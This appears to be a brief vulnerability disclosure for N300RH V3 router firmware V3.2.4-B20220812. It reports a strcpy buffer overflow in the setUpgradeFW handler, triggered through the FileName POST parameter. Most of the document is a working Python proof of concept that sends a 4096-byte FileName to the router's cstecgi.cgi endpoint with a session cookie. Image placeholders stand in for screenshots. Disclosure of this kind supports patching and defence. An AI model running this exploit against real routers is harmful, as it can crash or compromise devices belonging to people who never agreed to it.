Overview

Affected version

N300RH V3_Firmware V3.2.4-B20220812

Vulnerability details

In the N300RH V3_Firmware V3.2.4-B20220812 firmware has a buffer overflow vulnerability in the setUpgradeFW function. The Var variable receives the FileName parameter from a POST request. However, since the user can control the input of FileName, the statement strcpy can cause a buffer overflow vulnerability.

image-20260418003813421

POC

import requests
url = "<http://127.0.0.1/cgi-bin/cstecgi.cgi>"
cookie = {"Cookie":"SESSION_ID=2:1721039211:2"}
data = {"FileName":"a"*0x1000,"topicurl":"setUpgradeFW"}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)

image-20260418002703177